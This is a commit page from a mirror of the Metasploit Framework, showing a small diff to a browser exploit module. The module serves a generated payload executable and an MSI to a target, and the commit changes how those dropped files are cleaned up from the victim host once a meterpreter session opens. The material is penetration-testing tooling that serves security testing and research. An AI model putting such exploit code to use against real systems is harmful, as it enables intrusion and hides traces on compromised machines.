1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Avoid FileDropper in this case

This commit is contained in:
jvazquez-r7 2013-01-09 09:15:38 +01:00
parent 52982c0785
commit 377905be7f

View File

@ -12,7 +12,6 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
@ -77,12 +76,21 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class)
end
def exploit
@dropped_files = [
'payload.exe',
'ThinClient_TemaKit.msi',
'ThinClient_TemaKit.log'
]
super
end
def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
@dropped_files.delete_if do |file|
@dropped_files.each do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
@ -123,7 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote
data = generate_payload_exe({:code=>p.encoded})
print_status("Sending payload")
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
register_file_for_cleanup("payload.exe") unless @dropped_files and @dropped_files.include?("payload.exe")
return
end
@ -132,8 +139,6 @@ class Metasploit3 < Msf::Exploit::Remote
source = ::File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
print_status("Sending msi")
send_response(cli, source, {'Content-Type'=>'application/octet-stream'})
register_file_for_cleanup("ThinClient_TemaKit.msi") unless @dropped_files and @dropped_files.include?("ThinClient_TemaKit.msi")
register_file_for_cleanup("ThinClient_TemaKit.log") unless @dropped_files and @dropped_files.include?("ThinClient_TemaKit.log")
return
end